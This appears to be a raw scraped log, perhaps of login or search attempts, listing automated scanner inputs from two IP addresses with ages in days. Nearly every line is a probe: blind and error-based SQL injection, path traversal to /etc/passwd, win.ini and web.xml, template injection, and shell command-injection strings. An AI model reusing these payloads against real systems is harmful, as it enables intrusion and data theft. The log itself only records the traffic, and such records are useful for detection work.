admin 185.234.72.114 104 өдөр
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',9)='c 185.234.72.114 104 өдөр
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)='s 185.234.72.114 104 өдөр
admin'and(select+1)>0waitfor/**/delay'0:0:9 185.234.72.114 104 өдөр
admin'and(select+1)>0waitfor/**/delay'0:0:0 185.234.72.114 104 өдөр
expr 852962974 + 891912110 185.234.72.114 104 өдөр
admin'/**/and(select'1'from/**/pg_sleep(10))::text>'0 185.234.72.114 104 өдөр
admin&set /A 847476842+872225640 185.234.72.114 104 өдөр
admin'/**/and(select'1'from/**/pg_sleep(9))::text>'0 185.234.72.114 104 өдөр
admin$(expr 964455797 + 980267065) 185.234.72.114 104 өдөр
admin|expr 965559573 + 895849562 185.234.72.114 104 өдөр
admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 185.234.72.114 104 өдөр
./../../../../../../etc/passwd 185.234.72.114 104 өдөр
admin expr 812420012 + 895549834 185.234.72.114 104 өдөр
admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" 185.234.72.114 104 өдөр
<%- 867000534+975195775 %> 185.234.72.114 104 өдөр
../../../../../../etc/passwd admin 185.234.72.114 104 өдөр
admin'"\( 185.234.72.114 104 өдөр
admin'and(select*from(select+sleep(9))a/**/union/**/select+1)=' 185.234.72.114 104 өдөр
#set($c=998256250+897902888)${c}$c 185.234.72.114 104 өдөр
../../../../../../etc/passwd 185.234.72.114 104 өдөр
admin鎈'"\( 185.234.72.114 104 өдөр
admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' 185.234.72.114 104 өдөр
'-var_dump(md5(919728967))-' 185.234.72.114 104 өдөр
${(918234516+998659344)?c} 185.234.72.114 104 өдөр
admin'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1601289527')))>'0 185.234.72.114 104 өдөр
${@var_dump(md5(380398354))}; 185.234.72.114 104 өдөр
${923650470+931587957} 185.234.72.114 104 өдөр
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1057131230'))) 185.234.72.114 104 өдөр
/*1*/{{812777046+968944815}} 185.234.72.114 104 өдөр
admin/**/and/**/cast(md5('1229421796')as/**/int)>0 185.234.72.114 104 өдөр
admin"and"c"="e 185.234.72.114 104 өдөр
admin'and(select'1'from/**/cast(md5(1632442607)as/**/int))>'0 185.234.72.114 104 өдөр
admin"and"i"="i 185.234.72.114 104 өдөр
extractvalue(1,concat(char(126),md5(1974649322))) 185.234.72.114 104 өдөр
jtuiahpalrkswkkxurcx 185.234.72.114 104 өдөр
admin"and/**/extractvalue(1,concat(char(126),md5(1727032590)))and" 185.234.72.114 104 өдөр
./../../../../../../../../../../../../../../../../../../etc/passwd 185.234.72.114 104 өдөр
admin'and'd'='r 185.234.72.114 104 өдөр
admin'and/**/extractvalue(1,concat(char(126),md5(1342798746)))and' 185.234.72.114 104 өдөр
../../../../../../../../../../../../../../../../../../etc/passwd admin 185.234.72.114 104 өдөр
admin'and'n'='n 185.234.72.114 104 өдөр
${933369730+998213399} 185.234.72.114 104 өдөр
../../../../../../../../../../../../../../../../../../etc/passwd 185.234.72.114 104 өдөр
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',15)='v 194.163.191.42 105 өдөр
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',0)='f 194.163.191.42 105 өдөр
admin'and(select+1)>0waitfor/**/delay'0:0:15 194.163.191.42 105 өдөр
admin'and(select+1)>0waitfor/**/delay'0:0:0 194.163.191.42 105 өдөр
admin'/**/and(select'1'from/**/pg_sleep(15))::text>'0 194.163.191.42 105 өдөр
admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 194.163.191.42 105 өдөр
admin"and(select*from(select+sleep(15))a/**/union/**/select+1)=" 194.163.191.42 105 өдөр
admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" 194.163.191.42 105 өдөр
admin'and(select*from(select+sleep(15))a/**/union/**/select+1)=' 194.163.191.42 105 өдөр
admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' 194.163.191.42 105 өдөр
admin"and"p"="t 194.163.191.42 105 өдөр
admin"and"h"="h 194.163.191.42 105 өдөр
admin'and'z'='u 194.163.191.42 105 өдөр
admin'and'r'='r 194.163.191.42 105 өдөр
admin 194.163.191.42 105 өдөр
../../../../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
../../../../WEB-INF/web.xml 194.163.191.42 105 өдөр
../../../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
../../../WEB-INF/web.xml 194.163.191.42 105 өдөр
../../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
../../WEB-INF/web.xml 194.163.191.42 105 өдөр
../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
../WEB-INF/web.xml 194.163.191.42 105 өдөр
WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
WEB-INF/web.xml 194.163.191.42 105 өдөр
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini 194.163.191.42 105 өдөр
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini 194.163.191.42 105 өдөр
../../../../../../Windows/win.ini admin 194.163.191.42 105 өдөр
./../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
../../../../../../../../../../../../../../../../../../Windows/win.ini admin 194.163.191.42 105 өдөр
./../../../../../../../../../../../../../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
admin'"\( 194.163.191.42 105 өдөр
admin鎈'"\( 194.163.191.42 105 өдөр
../../../../../../../../../../../../../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
admin'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1294889486')))>'0 194.163.191.42 105 өдөр
%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini 194.163.191.42 105 өдөр
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1599872057'))) 194.163.191.42 105 өдөр
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini 194.163.191.42 105 өдөр
admin/**/and/**/cast(md5('1806587713')as/**/int)>0 194.163.191.42 105 өдөр
..\..\..\..\..\..\Windows\win.ini admin 194.163.191.42 105 өдөр
admin'and(select'1'from/**/cast(md5(1331221337)as/**/int))>'0 194.163.191.42 105 өдөр
.\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
extractvalue(1,concat(char(126),md5(1923763845))) 194.163.191.42 105 өдөр
..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
admin"and/**/extractvalue(1,concat(char(126),md5(1784323692)))and" 194.163.191.42 105 өдөр
admin'and/**/extractvalue(1,concat(char(126),md5(1740550338)))and' 194.163.191.42 105 өдөр
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini admin 194.163.191.42 105 өдөр
.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
%u2215etc%u2215passwd 194.163.191.42 105 өдөр
%2fetc%2fpasswd 194.163.191.42 105 өдөр
/etc/passwd admin 194.163.191.42 105 өдөр
/etc/passwd 194.163.191.42 105 өдөр
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd 194.163.191.42 105 өдөр
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd 194.163.191.42 105 өдөр
./../../../../../../etc/passwd 194.163.191.42 105 өдөр
<%- 888557247+885471219 %> 194.163.191.42 105 өдөр
../../../../../../etc/passwd admin 194.163.191.42 105 өдөр
#set($c=930813717+826411119)${c}$c 194.163.191.42 105 өдөр
../../../../../../etc/passwd 194.163.191.42 105 өдөр
${(982251854+859730744)?c} 194.163.191.42 105 өдөр
${878079084+971307229} 194.163.191.42 105 өдөр
/*1*/{{823319834+945242351}} 194.163.191.42 105 өдөр
./../../../../../../../../../../../../../../../../../../etc/passwd 194.163.191.42 105 өдөр
expr 878889388 + 859335104 194.163.191.42 105 өдөр
admin&set /A 964823870+948161006 194.163.191.42 105 өдөр
'-var_dump(md5(943789688))-' 194.163.191.42 105 өдөр
admin$(expr 945922579 + 916058991) 194.163.191.42 105 өдөр
${@var_dump(md5(963833125))}; 194.163.191.42 105 өдөр
admin|expr 900239673 + 932684890 194.163.191.42 105 өдөр
../../../../../../../../../../../../../../../../../../etc/passwd admin 194.163.191.42 105 өдөр
admin expr 811244585 + 939688488 194.163.191.42 105 өдөр
../../../../../../../../../../../../../../../../../../etc/passwd 194.163.191.42 105 өдөр
kgqmalpycimtznmoqmmr 194.163.191.42 105 өдөр
${907534076+895577672} 194.163.191.42 105 өдөр
admin 185.234.72.114 104 өдөр
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',9)='wadmin 185.234.72.114 104 өдөр
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',0)='eadmin 185.234.72.114 104 өдөр
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('c',9)admin 185.234.72.114 104 өдөр
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('m',0)admin 185.234.72.114 104 өдөр
123456'and(select+1)>0waitfor/**/delay'0:0:9admin 185.234.72.114 104 өдөр
123456'and(select+1)>0waitfor/**/delay'0:0:0admin 185.234.72.114 104 өдөр
123456/**/and(select+1)>0waitfor/**/delay'0:0:9'/**/admin 185.234.72.114 104 өдөр
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/admin 185.234.72.114 104 өдөр
123456'/**/and(select'1'from/**/pg_sleep(9))::text>'0admin 185.234.72.114 104 өдөр
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0admin 185.234.72.114 104 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(9))>0/**/admin 185.234.72.114 104 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/admin 185.234.72.114 104 өдөр
123456"and(select*from(select+sleep(9))a/**/union/**/select+1)="admin 185.234.72.114 104 өдөр
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="admin 185.234.72.114 104 өдөр
123456'and(select*from(select+sleep(9))a/**/union/**/select+1)='admin 185.234.72.114 104 өдөр
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='admin 185.234.72.114 104 өдөр
(select*from(select+sleep(9)union/**/select+1)a)admin 185.234.72.114 104 өдөр
(select*from(select+sleep(0)union/**/select+1)a)admin 185.234.72.114 104 өдөр
123456"and"v"="madmin 185.234.72.114 104 өдөр
123456"and"m"="madmin 185.234.72.114 104 өдөр
123456'and'h'='oadmin 185.234.72.114 104 өдөр
123456'and'p'='padmin 185.234.72.114 104 өдөр
123456/**/and+2=5admin 185.234.72.114 104 өдөр
123456/**/and+1=1admin 185.234.72.114 104 өдөр
123456'"\(admin 185.234.72.114 104 өдөр
123456鎈'"\(admin 185.234.72.114 104 өдөр
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1491341539')))>'0admin 185.234.72.114 104 өдөр
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1182105879')))admin 185.234.72.114 104 өдөр
123456/**/and/**/cast(md5('1388371875')as/**/int)>0admin 185.234.72.114 104 өдөр
123456'and(select'1'from/**/cast(md5(1967347598)as/**/int))>'0admin 185.234.72.114 104 өдөр
extractvalue(1,concat(char(126),md5(1927303786)))admin 185.234.72.114 104 өдөр
123456"and/**/extractvalue(1,concat(char(126),md5(1202872178)))and"admin 185.234.72.114 104 өдөр
123456'and/**/extractvalue(1,concat(char(126),md5(1620530473)))and'admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',9)='c 185.234.72.114 104 өдөр
123456admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)='s 185.234.72.114 104 өдөр
123456admin'and(select+1)>0waitfor/**/delay'0:0:9 185.234.72.114 104 өдөр
123456admin'and(select+1)>0waitfor/**/delay'0:0:0 185.234.72.114 104 өдөр
123456expr 852962974 + 891912110 185.234.72.114 104 өдөр
123456admin'/**/and(select'1'from/**/pg_sleep(10))::text>'0 185.234.72.114 104 өдөр
123456admin&set /A 847476842+872225640 185.234.72.114 104 өдөр
123456admin'/**/and(select'1'from/**/pg_sleep(9))::text>'0 185.234.72.114 104 өдөр
123456admin$(expr 964455797 + 980267065) 185.234.72.114 104 өдөр
123456admin|expr 965559573 + 895849562 185.234.72.114 104 өдөр
123456admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 185.234.72.114 104 өдөр
123456./../../../../../../etc/passwd 185.234.72.114 104 өдөр
123456admin expr 812420012 + 895549834 185.234.72.114 104 өдөр
123456admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
expr 844748730 + 877018006admin 185.234.72.114 104 өдөр
123456&set /A 929318883+905969840<%- 867000534+975195775 %> 185.234.72.114 104 өдөр
123456../../../../../../etc/passwd admin 185.234.72.114 104 өдөр
123456admin'"\( 185.234.72.114 104 өдөр
123456admin'and(select*from(select+sleep(9))a/**/union/**/select+1)=' 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456$(expr 964350977 + 827454902)#set($c=998256250+897902888)${c}$c 185.234.72.114 104 өдөр
123456../../../../../../etc/passwd 185.234.72.114 104 өдөр
123456admin鎈'"\( 185.234.72.114 104 өдөр
123456admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' 185.234.72.114 104 өдөр
123456'-var_dump(md5(919728967))-' 185.234.72.114 104 өдөр
123456${(918234516+998659344)?c} 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456admin'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1601289527')))>'0 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456|expr 813710115 + 898424525${@var_dump(md5(380398354))}; 185.234.72.114 104 өдөр
123456${923650470+931587957} 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1057131230'))) 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456 expr 851204309 + 812024373admin 185.234.72.114 104 өдөр
'-var_dump(md5(123860790))-'/*1*/{{812777046+968944815}} 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456admin/**/and/**/cast(md5('1229421796')as/**/int)>0 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
${@var_dump(md5(887254237))};admin 185.234.72.114 104 өдөр
<%- 843495054+934962145 %>admin"and"c"="e 185.234.72.114 104 өдөр
123456admin'and(select'1'from/**/cast(md5(1632442607)as/**/int))>'0 185.234.72.114 104 өдөр
123456admin"and"i"="i 185.234.72.114 104 өдөр
123456extractvalue(1,concat(char(126),md5(1974649322))) 185.234.72.114 104 өдөр
123456jtuiahpalrkswkkxurcx 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
#set($c=961999921+906784873)${c}$cadmin"and/**/extractvalue(1,concat(char(126),md5(1727032590)))and" 185.234.72.114 104 өдөр
123456./../../../../../../../../../../../../../../../../../../etc/passwd 185.234.72.114 104 өдөр
123456admin'and'd'='r 185.234.72.114 104 өдөр
123456admin'and/**/extractvalue(1,concat(char(126),md5(1342798746)))and' 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
${(987003540+807630951)?c}admin 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
jtuiahpalrkswkkxurcx../../../../../../../../../../../../../../../../../../etc/passwd admin 185.234.72.114 104 өдөр
123456admin'and'n'='n 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456${933369730+998213399} 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
${843365272+850139365}../../../../../../../../../../../../../../../../../../etc/passwd 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
${998079117+933920161}admin 185.234.72.114 104 өдөр
123456admin 185.234.72.114 104 өдөр
/*1*/{{919436440+862613249}}admin 185.234.72.114 104 өдөр
123456admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',15)='v 194.163.191.42 105 өдөр
123456admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',0)='f 194.163.191.42 105 өдөр
123456admin'and(select+1)>0waitfor/**/delay'0:0:15 194.163.191.42 105 өдөр
123456admin'and(select+1)>0waitfor/**/delay'0:0:0 194.163.191.42 105 өдөр
123456admin'/**/and(select'1'from/**/pg_sleep(15))::text>'0 194.163.191.42 105 өдөр
123456admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 194.163.191.42 105 өдөр
123456admin"and(select*from(select+sleep(15))a/**/union/**/select+1)=" 194.163.191.42 105 өдөр
123456admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" 194.163.191.42 105 өдөр
123456admin'and(select*from(select+sleep(15))a/**/union/**/select+1)=' 194.163.191.42 105 өдөр
123456admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' 194.163.191.42 105 өдөр
123456admin"and"p"="t 194.163.191.42 105 өдөр
123456admin"and"h"="h 194.163.191.42 105 өдөр
123456admin'and'z'='u 194.163.191.42 105 өдөр
123456admin'and'r'='r 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',15)='vadmin 194.163.191.42 105 өдөр
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('k',0)='kadmin 194.163.191.42 105 өдөр
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('y',15)admin 194.163.191.42 105 өдөр
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('b',0)admin 194.163.191.42 105 өдөр
123456'and(select+1)>0waitfor/**/delay'0:0:15admin 194.163.191.42 105 өдөр
123456'and(select+1)>0waitfor/**/delay'0:0:0admin 194.163.191.42 105 өдөр
123456/**/and(select+1)>0waitfor/**/delay'0:0:15'/**/admin 194.163.191.42 105 өдөр
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/admin 194.163.191.42 105 өдөр
123456'/**/and(select'1'from/**/pg_sleep(15))::text>'0admin 194.163.191.42 105 өдөр
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0../../../../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(15))>0/**/../../../../WEB-INF/web.xml 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/../../../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456"and(select*from(select+sleep(15))a/**/union/**/select+1)="../../../WEB-INF/web.xml 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="../../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'and(select*from(select+sleep(15))a/**/union/**/select+1)='../../WEB-INF/web.xml 194.163.191.42 105 өдөр
123456../WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='../WEB-INF/web.xml 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
(select*from(select+sleep(15)union/**/select+1)a)WEB-INF/web.xml;admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
(select*from(select+sleep(0)union/**/select+1)a)WEB-INF/web.xml 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456"and"k"="f%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456"and"q"="q%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'and'f'='b../../../../../../Windows/win.ini admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'and'd'='d./../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456/**/and+0=7../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456/**/and+1=1../../../../../../../../../../../../../../../../../../Windows/win.ini admin 194.163.191.42 105 өдөр
123456./../../../../../../../../../../../../../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
123456admin'"\( 194.163.191.42 105 өдөр
123456admin鎈'"\( 194.163.191.42 105 өдөр
123456../../../../../../../../../../../../../../../../../../Windows/win.ini 194.163.191.42 105 өдөр
123456admin'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1294889486')))>'0 194.163.191.42 105 өдөр
123456%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini 194.163.191.42 105 өдөр
123456convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1599872057'))) 194.163.191.42 105 өдөр
123456%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini 194.163.191.42 105 өдөр
123456admin/**/and/**/cast(md5('1806587713')as/**/int)>0 194.163.191.42 105 өдөр
123456..\..\..\..\..\..\Windows\win.ini admin 194.163.191.42 105 өдөр
123456admin'and(select'1'from/**/cast(md5(1331221337)as/**/int))>'0 194.163.191.42 105 өдөр
123456.\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
123456extractvalue(1,concat(char(126),md5(1923763845))) 194.163.191.42 105 өдөр
123456..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
123456admin"and/**/extractvalue(1,concat(char(126),md5(1784323692)))and" 194.163.191.42 105 өдөр
123456admin'and/**/extractvalue(1,concat(char(126),md5(1740550338)))and' 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'"\(admin 194.163.191.42 105 өдөр
123456鎈'"\(..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1885556568')))>'0.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1648608174')))..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456/**/and/**/cast(md5('1769062860')as/**/int)>0%u2215etc%u2215passwd 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'and(select'1'from/**/cast(md5(1486622770)as/**/int))>'0%2fetc%2fpasswd 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
extractvalue(1,concat(char(126),md5(1400427743)))/etc/passwd admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456"and/**/extractvalue(1,concat(char(126),md5(1531749813)))and"/etc/passwd 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456'and/**/extractvalue(1,concat(char(126),md5(1120161703)))and'%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd 194.163.191.42 105 өдөр
123456%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456./../../../../../../etc/passwd 194.163.191.42 105 өдөр
123456<%- 888557247+885471219 %> 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456../../../../../../etc/passwd admin 194.163.191.42 105 өдөр
123456#set($c=930813717+826411119)${c}$c 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456../../../../../../etc/passwd 194.163.191.42 105 өдөр
123456${(982251854+859730744)?c} 194.163.191.42 105 өдөр
123456${878079084+971307229} 194.163.191.42 105 өдөр
123456/*1*/{{823319834+945242351}} 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
<%- 802670733+800183968 %>admin 194.163.191.42 105 өдөр
#set($c=948135860+884943862)${c}$cadmin 194.163.191.42 105 өдөр
${(980507976+898316797)?c}admin 194.163.191.42 105 өдөр
${912329765+860180909}./../../../../../../../../../../../../../../../../../../etc/passwd 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456expr 878889388 + 859335104 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
/*1*/{{966850075+885916516}}admin&set /A 964823870+948161006 194.163.191.42 105 өдөр
123456'-var_dump(md5(943789688))-' 194.163.191.42 105 өдөр
123456admin$(expr 945922579 + 916058991) 194.163.191.42 105 өдөр
123456${@var_dump(md5(963833125))}; 194.163.191.42 105 өдөр
123456admin|expr 900239673 + 932684890 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
${826453824+991570364}../../../../../../../../../../../../../../../../../../etc/passwd admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456admin expr 811244585 + 939688488 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
'-var_dump(md5(376251412))-'admin 194.163.191.42 105 өдөр
kgqmalpycimtznmoqmmradmin 194.163.191.42 105 өдөр
${@var_dump(md5(768374253))};admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
expr 842318987 + 926547002../../../../../../../../../../../../../../../../../../etc/passwd 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456&set /A 834427927+869147734admin 194.163.191.42 105 өдөр
123456$(expr 945311000 + 873940336)admin 194.163.191.42 105 өдөр
123456kgqmalpycimtznmoqmmr 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456|expr 889092445 + 847168141admin 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456${907534076+895577672} 194.163.191.42 105 өдөр
123456admin 194.163.191.42 105 өдөр
123456 expr 871456755 + 967948161admin 194.163.191.42 105 өдөр
123456